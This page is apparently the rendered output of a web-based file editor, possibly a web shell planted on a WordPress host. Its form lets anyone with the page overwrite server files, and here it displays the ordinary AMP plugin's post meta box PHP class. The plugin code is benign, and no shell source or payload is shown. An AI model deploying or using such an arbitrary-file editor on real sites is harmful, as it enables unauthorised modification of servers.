<h2>File Contents: /home/planet5/public_html/wp-content/plugins/amp/includes/admin/class-amp-post-meta-box.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/amp/includes/admin/class-amp-post-meta-box.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * AMP meta box settings.
 *
 * @package AMP
 * @since 0.6
 */

use AmpProject\AmpWP\Services;

/**
 * Post meta box class.
 *
 * @since 0.6
 * @internal
 */
class AMP_Post_Meta_Box {

	/**
	 * Assets handle.
	 *
	 * @since 0.6
	 * @var string
	 */
	const ASSETS_HANDLE = &#039;amp-post-meta-box&#039;;

	/**
	 * Block asset handle.
	 *
	 * @since 1.0
	 * @var string
	 */
	const BLOCK_ASSET_HANDLE = &#039;amp-block-editor&#039;;

	/**
	 * The enabled status post meta value.
	 *
	 * @since 0.6
	 * @var string
	 */
	const ENABLED_STATUS = &#039;enabled&#039;;

	/**
	 * The disabled status post meta value.
	 *
	 * @since 0.6
	 * @var string
	 */
	const DISABLED_STATUS = &#039;disabled&#039;;

	/**
	 * The status post meta key.
	 *
	 * @since 0.6
	 * @var string
	 */
	const STATUS_POST_META_KEY = &#039;amp_status&#039;;

	/**
	 * The field name for the enabled/disabled radio buttons.
	 *
	 * @since 0.6
	 * @var string
	 */
	const STATUS_INPUT_NAME = &#039;amp_status&#039;;

	/**
	 * The nonce name.
	 *
	 * @since 0.6
	 * @var string
	 */
	const NONCE_NAME = &#039;amp-status-nonce&#039;;

	/**
	 * The nonce action.
	 *
	 * @since 0.6
	 * @var string
	 */
	const NONCE_ACTION = &#039;amp-update-status&#039;;

	/**
	 * The name for the REST API field containing whether AMP is enabled for a post.
	 *
	 * @since 2.0
	 * @var string
	 */
	const REST_ATTRIBUTE_NAME = &#039;amp_enabled&#039;;

	/**
	 * Initialize.
	 *
	 * @since 0.6
	 */
	public function init() {
		register_meta(
			&#039;post&#039;,
			self::STATUS_POST_META_KEY,
			[
				&#039;sanitize_callback&#039; =&gt; [ $this, &#039;sanitize_status&#039; ],
				&#039;auth_callback&#039;     =&gt; &#039;__return_false&#039;,
				&#039;type&#039;              =&gt; &#039;string&#039;,
				&#039;description&#039;       =&gt; __( &#039;AMP status.&#039;, &#039;amp&#039; ),
				&#039;show_in_rest&#039;      =&gt; false,
				&#039;single&#039;            =&gt; true,
			]
		);

		add_action( &#039;admin_enqueue_scripts&#039;, [ $this, &#039;enqueue_admin_assets&#039; ] );
		add_action( &#039;enqueue_block_editor_assets&#039;, [ $this, &#039;enqueue_block_assets&#039; ] );
		add_action( &#039;post_submitbox_misc_actions&#039;, [ $this, &#039;render_status&#039; ] );
		add_action( &#039;save_post&#039;, [ $this, &#039;save_amp_status&#039; ] );
		add_action( &#039;rest_api_init&#039;, [ $this, &#039;add_rest_api_fields&#039; ] );
		add_filter( &#039;preview_post_link&#039;, [ $this, &#039;preview_post_link&#039; ] );
	}

	/**
	 * Sanitize status.
	 *
	 * @param string $status Status.
	 * @return string Sanitized status. Empty string when invalid.
	 */
	public function sanitize_status( $status ) {
		$status = strtolower( trim( $status ) );
		if ( ! in_array( $status, [ self::ENABLED_STATUS, self::DISABLED_STATUS ], true ) ) {
			/*
			 * In lieu of actual validation being available, clear the status entirely
			 * so that the underlying default status will be used instead.
			 * In the future it would be ideal if register_meta() accepted a
			 * validate_callback as well which the REST API could leverage.
			 */
			$status = &#039;&#039;;
		}
		return $status;
	}

	/**
	 * Enqueue admin assets.
	 *
	 * @since 0.6
	 */
	public function enqueue_admin_assets() {
		$post     = get_post();
		$screen   = get_current_screen();
		$validate = (
			isset( $screen-&gt;base ) &amp;&amp;
			&#039;post&#039; === $screen-&gt;base &amp;&amp;
			empty( $screen-&gt;is_block_editor ) &amp;&amp;
			in_array( $post-&gt;post_type, AMP_Post_Type_Support::get_supported_post_types(), true )
		);

		if ( ! $validate ) {
			return;
		}

		wp_enqueue_style(
			self::ASSETS_HANDLE,
			amp_get_asset_url( &#039;css/amp-post-meta-box.css&#039; ),
			false,
			AMP__VERSION
		);

		wp_styles()-&gt;add_data( self::ASSETS_HANDLE, &#039;rtl&#039;, &#039;replace&#039; );

		// Abort if version of WordPress is too old.
		if ( ! Services::get( &#039;dependency_support&#039; )-&gt;has_support_from_core() ) {
			return;
		}

		$asset_file   = AMP__DIR__ . &#039;/assets/js/&#039; . self::ASSETS_HANDLE . &#039;.asset.php&#039;;
		$asset        = require $asset_file;
		$dependencies = $asset[&#039;dependencies&#039;];
		$version      = $asset[&#039;version&#039;];

		// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
		wp_enqueue_script(
			self::ASSETS_HANDLE,
			amp_get_asset_url( &#039;js/&#039; . self::ASSETS_HANDLE . &#039;.js&#039; ),
			$dependencies,
			$version,
			false
		);

		if ( ! amp_is_legacy() ) {
			$availability   = AMP_Theme_Support::get_template_availability( $post );
			$support_errors = $availability[&#039;errors&#039;];
		} else {
			$support_errors = AMP_Post_Type_Support::get_support_errors( $post );
		}

		wp_add_inline_script(
			self::ASSETS_HANDLE,
			sprintf(
				&#039;ampPostMetaBox.boot( %s );&#039;,
				wp_json_encode(
					[
						&#039;previewLink&#039;     =&gt; esc_url_raw( amp_add_paired_endpoint( get_preview_post_link( $post ) ) ),
						&#039;canonical&#039;       =&gt; amp_is_canonical(),
						&#039;enabled&#039;         =&gt; empty( $support_errors ),
						&#039;canSupport&#039;      =&gt; 0 === count( array_diff( $support_errors, [ &#039;post-status-disabled&#039; ] ) ),
						&#039;statusInputName&#039; =&gt; self::STATUS_INPUT_NAME,
						&#039;l10n&#039;            =&gt; [
							&#039;ampPreviewBtnLabel&#039; =&gt; __( &#039;Preview changes in AMP (opens in new window)&#039;, &#039;amp&#039; ),
						],
					]
				)
			)
		);
	}

	/**
	 * Enqueues block assets.
	 *
	 * @since 1.0
	 */
	public function enqueue_block_assets() {
		$post = get_post();

		// Only enqueue scripts on the block editor for AMP-enabled posts.
		$editor_support = Services::get( &#039;editor.editor_support&#039; );
		if ( ! $editor_support-&gt;is_current_screen_block_editor_for_amp_enabled_post_type() ) {
			return;
		}

		$status_and_errors = self::get_status_and_errors( $post );

		// Skip proceeding if there are errors blocking AMP and the user can&#039;t do anything about it.
		if ( ! empty( $status_and_errors[&#039;errors&#039;] ) &amp;&amp; ! current_user_can( &#039;manage_options&#039; ) ) {
			return;
		}

		wp_enqueue_style(
			self::BLOCK_ASSET_HANDLE,
			amp_get_asset_url( &#039;css/&#039; . self::BLOCK_ASSET_HANDLE . &#039;.css&#039; ),
			[],
			AMP__VERSION
		);

		wp_styles()-&gt;add_data( self::BLOCK_ASSET_HANDLE, &#039;rtl&#039;, &#039;replace&#039; );

		$asset_file   = AMP__DIR__ . &#039;/assets/js/&#039; . self::BLOCK_ASSET_HANDLE . &#039;.asset.php&#039;;
		$asset        = require $asset_file;
		$dependencies = $asset[&#039;dependencies&#039;];
		$version      = $asset[&#039;version&#039;];

		wp_enqueue_script(
			self::BLOCK_ASSET_HANDLE,
			amp_get_asset_url( &#039;js/&#039; . self::BLOCK_ASSET_HANDLE . &#039;.js&#039; ),
			$dependencies,
			$version,
			true
		);

		$is_standard_mode = amp_is_canonical();

		list( $featured_image_minimum_width, $featured_image_minimum_height ) = self::get_featured_image_dimensions();

		$data = [
			&#039;ampUrl&#039;                     =&gt; $is_standard_mode ? null : amp_add_paired_endpoint( get_permalink( $post ) ),
			&#039;ampPreviewLink&#039;             =&gt; $is_standard_mode ? null : amp_add_paired_endpoint( get_preview_post_link( $post ) ),
			&#039;errorMessages&#039;              =&gt; $this-&gt;get_error_messages( $status_and_errors[&#039;errors&#039;] ),
			&#039;hasThemeSupport&#039;            =&gt; ! amp_is_legacy(),
			&#039;isDevToolsEnabled&#039;          =&gt; Services::get( &#039;dev_tools.user_access&#039; )-&gt;is_user_enabled(),
			&#039;isStandardMode&#039;             =&gt; $is_standard_mode,
			&#039;featuredImageMinimumWidth&#039;  =&gt; $featured_image_minimum_width,
			&#039;featuredImageMinimumHeight&#039; =&gt; $featured_image_minimum_height,
			&#039;ampBlocksInUse&#039;             =&gt; $is_standard_mode ? $this-&gt;get_amp_blocks_in_use() : [],
		];

		wp_add_inline_script(
			self::BLOCK_ASSET_HANDLE,
			sprintf( &#039;var ampBlockEditor = %s;&#039;, wp_json_encode( $data ) ),
			&#039;before&#039;
		);

		if ( function_exists( &#039;wp_set_script_translations&#039; ) ) {
			wp_set_script_translations( self::BLOCK_ASSET_HANDLE, &#039;amp&#039; );
		} elseif ( function_exists( &#039;wp_get_jed_locale_data&#039; ) || function_exists( &#039;gutenberg_get_jed_locale_data&#039; ) ) {
			$locale_data  = function_exists( &#039;wp_get_jed_locale_data&#039; ) ? wp_get_jed_locale_data( &#039;amp&#039; ) : gutenberg_get_jed_locale_data( &#039;amp&#039; );
			$translations = wp_json_encode( $locale_data );

			wp_add_inline_script(
				self::BLOCK_ASSET_HANDLE,
				&#039;wp.i18n.setLocaleData( &#039; . $translations . &#039;, &quot;amp&quot; );&#039;,
				&#039;after&#039;
			);
		}
	}

	/**
	 * Returns a tuple of width and height featured image dimensions after filtering.
	 *
	 * @return int[] {
	 *     Minimum dimensions.
	 *
	 *     @type int $0 Image width in pixels. May be zero to disable the dimension constraint.
	 *     @type int $1 Image height in pixels. May be zero to disable the dimension constraint.
	 * }
	 */
	public static function get_featured_image_dimensions() {
		$default_width  = 1200;
		$default_height = 675;

		/**
		 * Filters the minimum height required for a featured image.
		 *
		 * @since 2.0.9
		 *
		 * @param int $featured_image_minimum_height The minimum height of the image, defaults to 675.
		 *                                           Returning a number less than or equal to zero disables the minimum constraint.
		 */
		$featured_image_minimum_height = (int) apply_filters( &#039;amp_featured_image_minimum_height&#039;, $default_height );

		/**
		 * Filters the minimum width required for a featured image.
		 *
		 * @since 2.0.9
		 *
		 * @param int $featured_image_minimum_width The minimum width of the image, defaults to 1200.
		 *                                          Returning a number less than or equal to zero disables the minimum constraint.
		 */
		$featured_image_minimum_width = (int) apply_filters( &#039;amp_featured_image_minimum_width&#039;, $default_width );

		return [
			max( $featured_image_minimum_width, 0 ),
			max( $featured_image_minimum_height, 0 ),
		];
	}

	/**
	 * Render AMP status.
	 *
	 * @since 0.6
	 * @param WP_Post $post Post.
	 */
	public function render_status( $post ) {
		$verify = (
			! empty( $post-&gt;ID )
			&amp;&amp;
			in_array( $post-&gt;post_type, AMP_Post_Type_Support::get_supported_post_types(), true )
			&amp;&amp;
			current_user_can( &#039;edit_post&#039;, $post-&gt;ID )
		);

		if ( true !== $verify ) {
			return;
		}

		$status_and_errors = self::get_status_and_errors( $post );
		$status            = $status_and_errors[&#039;status&#039;]; // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Used in amp-enabled-classic-editor-toggle.php.
		$errors            = $status_and_errors[&#039;errors&#039;];

		// Skip showing any error message if the user doesn&#039;t have the ability to do anything about it.
		if ( ! empty( $errors ) &amp;&amp; ! current_user_can( &#039;manage_options&#039; ) ) {
			return;
		}

		// phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis
		$error_messages = $this-&gt;get_error_messages( $errors );

		$labels = [
			&#039;enabled&#039;  =&gt; __( &#039;Enabled&#039;, &#039;amp&#039; ),
			&#039;disabled&#039; =&gt; __( &#039;Disabled&#039;, &#039;amp&#039; ),
		];
		// phpcs:enable VariableAnalysis.CodeAnalysis.VariableAnalysis

		// The preceding variables are used inside the following amp-status.php template.
		include AMP__DIR__ . &#039;/includes/templates/amp-enabled-classic-editor-toggle.php&#039;;
	}

	/**
	 * Gets the AMP enabled status and errors.
	 *
	 * @since 1.0
	 * @param WP_Post $post The post to check.
	 * @return array {
	 *     The status and errors.
	 *
	 *     @type string    $status The AMP enabled status.
	 *     @type string[]  $errors AMP errors.
	 * }
	 */
	public static function get_status_and_errors( $post ) {
		/*
		 * When theme support is present then theme templates can be served in AMP and we check first if the template is available.
		 * Checking for template availability will include a check for get_support_errors. Otherwise, if theme support is not present
		 * then we just check get_support_errors.
		 */
		if ( ! amp_is_legacy() ) {
			$availability = AMP_Theme_Support::get_template_availability( $post );
			$status       = $availability[&#039;supported&#039;] ? self::ENABLED_STATUS : self::DISABLED_STATUS;
			$errors       = array_diff( $availability[&#039;errors&#039;], [ &#039;post-status-disabled&#039; ] ); // Subtract the status which the metabox will allow to be toggled.
		} else {
			$errors = AMP_Post_Type_Support::get_support_errors( $post );
			$status = empty( $errors ) ? self::ENABLED_STATUS : self::DISABLED_STATUS;
			$errors = array_diff( $errors, [ &#039;post-status-disabled&#039; ] ); // Subtract the status which the metabox will allow to be toggled.
		}

		return compact( &#039;status&#039;, &#039;errors&#039; );
	}

	/**
	 * Gets the AMP enabled error message(s).
	 *
	 * @since 1.0
	 * @see AMP_Post_Type_Support::get_support_errors()
	 *
	 * @param string[] $errors The AMP enabled errors.
	 * @return array $error_messages The error messages, as an array of strings.
	 */
	public function get_error_messages( $errors ) {
		$settings_screen_url = admin_url( &#039;admin.php?page=&#039; . AMP_Options_Manager::OPTION_NAME );

		$error_messages = [];
		if ( in_array( &#039;template_unsupported&#039;, $errors, true ) || in_array( &#039;no_matching_template&#039;, $errors, true ) ) {
			$error_messages[] = sprintf(
				/* translators: %s is a link to the AMP settings screen */
				__( &#039;There are no &lt;a href=&quot;%s&quot; target=&quot;_blank&quot;&gt;supported templates&lt;/a&gt;.&#039;, &#039;amp&#039; ),
				esc_url( $settings_screen_url )
			);
		}
		if ( in_array( &#039;post-type-support&#039;, $errors, true ) ) {
			$error_messages[] = sprintf(
				/* translators: %s is a link to the AMP settings screen */
				__( &#039;This post type is not &lt;a href=&quot;%s&quot; target=&quot;_blank&quot;&gt;enabled&lt;/a&gt;.&#039;, &#039;amp&#039; ),
				esc_url( $settings_screen_url )
			);
		}
		if ( in_array( &#039;skip-post&#039;, $errors, true ) ) {
			$error_messages[] = __( &#039;A plugin or theme has disabled AMP support.&#039;, &#039;amp&#039; );
		}
		if ( in_array( &#039;invalid-post&#039;, $errors, true ) ) {
			$error_messages[] = __( &#039;The post data could not be successfully retrieved.&#039;, &#039;amp&#039; );
		}
		if ( count( array_diff( $errors, [ &#039;post-type-support&#039;, &#039;skip-post&#039;, &#039;template_unsupported&#039;, &#039;no_matching_template&#039;, &#039;invalid-post&#039; ] ) ) &gt; 0 ) {
			$error_messages[] = __( &#039;Unavailable for an unknown reason.&#039;, &#039;amp&#039; );
		}

		return $error_messages;
	}

	/**
	 * Save AMP Status.
	 *
	 * @since 0.6
	 * @param int $post_id The Post ID.
	 */
	public function save_amp_status( $post_id ) {
		$verify = (
			isset( $_POST[ self::NONCE_NAME ], $_POST[ self::STATUS_INPUT_NAME ] )
			&amp;&amp;
			wp_verify_nonce( sanitize_key( wp_unslash( $_POST[ self::NONCE_NAME ] ) ), self::NONCE_ACTION )
			&amp;&amp;
			current_user_can( &#039;edit_post&#039;, $post_id )
			&amp;&amp;
			! wp_is_post_revision( $post_id )
			&amp;&amp;
			! wp_is_post_autosave( $post_id )
		);

		if ( true === $verify ) {
			update_post_meta(
				$post_id,
				self::STATUS_POST_META_KEY,
				$_POST[ self::STATUS_INPUT_NAME ] // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The sanitize_callback has been supplied in the register_meta() call above.
			);
		}
	}

	/**
	 * Modify post preview link.
	 *
	 * Add the AMP query var if the amp-preview flag is set.
	 *
	 * @since 0.6
	 *
	 * @param string $link The post preview link.
	 * @return string Preview URL.
	 */
	public function preview_post_link( $link ) {
		$is_amp = (
			isset( $_POST[&#039;amp-preview&#039;] ) // phpcs:ignore WordPress.Security.NonceVerification.Missing
			&amp;&amp;
			&#039;do-preview&#039; === sanitize_key( wp_unslash( $_POST[&#039;amp-preview&#039;] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Missing
		);

		if ( $is_amp ) {
			$link = amp_add_paired_endpoint( $link );
		}

		return $link;
	}

	/**
	 * Add a REST API field to display whether AMP is enabled on supported post types.
	 *
	 * @since 2.0
	 *
	 * @return void
	 */
	public function add_rest_api_fields() {
		register_rest_field(
			AMP_Post_Type_Support::get_post_types_for_rest_api(),
			self::REST_ATTRIBUTE_NAME,
			[
				&#039;get_callback&#039;    =&gt; [ $this, &#039;get_amp_enabled_rest_field&#039; ],
				&#039;update_callback&#039; =&gt; [ $this, &#039;update_amp_enabled_rest_field&#039; ],
				&#039;schema&#039;          =&gt; [
					&#039;description&#039; =&gt; __( &#039;AMP enabled&#039;, &#039;amp&#039; ),
					&#039;type&#039;        =&gt; &#039;boolean&#039;,
				],
			]
		);
	}

	/**
	 * Get the value of whether AMP is enabled for a REST API request.
	 *
	 * @since 2.0
	 *
	 * @param array $post_data Post data.
	 * @return bool Whether AMP is enabled on post.
	 */
	public function get_amp_enabled_rest_field( $post_data ) {
		$status = $this-&gt;sanitize_status( get_post_meta( $post_data[&#039;id&#039;], self::STATUS_POST_META_KEY, true ) );

		if ( &#039;&#039; === $status ) {
			$post              = get_post( $post_data[&#039;id&#039;] );
			$status_and_errors = self::get_status_and_errors( $post );

			if ( isset( $status_and_errors[&#039;status&#039;] ) ) {
				$status = $status_and_errors[&#039;status&#039;];
			}
		}

		return self::ENABLED_STATUS === $status;
	}

	/**
	 * Update whether AMP is enabled for a REST API request.
	 *
	 * @since 2.0
	 *
	 * @param bool    $is_enabled Whether AMP is enabled.
	 * @param WP_Post $post       Post being updated.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_amp_enabled_rest_field( $is_enabled, $post ) {
		if ( ! in_array( $post-&gt;post_type, AMP_Post_Type_Support::get_post_types_for_rest_api(), true ) ) {
			return new WP_Error(
				&#039;rest_invalid_post_type&#039;,
				sprintf(
					/* translators: %s: The name of the post type. */
					__( &#039;AMP is not supported for the &quot;%s&quot; post type.&#039;, &#039;amp&#039; ),
					$post-&gt;post_type
				),
				[ &#039;status&#039; =&gt; 400 ]
			);
		}

		if ( ! current_user_can( &#039;edit_post&#039;, $post-&gt;ID ) ) {
			return new WP_Error(
				&#039;rest_insufficient_permission&#039;,
				__( &#039;Insufficient permissions to change whether AMP is enabled.&#039;, &#039;amp&#039; ),
				[ &#039;status&#039; =&gt; 403 ]
			);
		}

		$status = $is_enabled ? self::ENABLED_STATUS : self::DISABLED_STATUS;

		// Note: The sanitize_callback has been supplied in the register_meta() call above.
		$updated = update_post_meta(
			$post-&gt;ID,
			self::STATUS_POST_META_KEY,
			$status
		);

		if ( false === $updated ) {
			return new WP_Error(
				&#039;rest_update_failed&#039;,
				__( &#039;The AMP enabled status failed to be updated.&#039;, &#039;amp&#039; ),
				[ &#039;status&#039; =&gt; 500 ]
			);
		}

		return null;
	}

	/**
	 * Get the list of AMP block names used in the current post.
	 *
	 * @since 2.1
	 *
	 * @return string[]
	 */
	public function get_amp_blocks_in_use() {
		// Normalize the AMP block names to include the `amp/` namespace.
		$amp_blocks        = substr_replace( AMP_Editor_Blocks::AMP_BLOCKS, &#039;amp/&#039;, 0, 0 );
		$amp_blocks_in_use = array_filter( $amp_blocks, &#039;has_block&#039; );

		return array_values( $amp_blocks_in_use );
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Famp%2Fincludes%2Fadmin'>⬅ Back to Directory</a>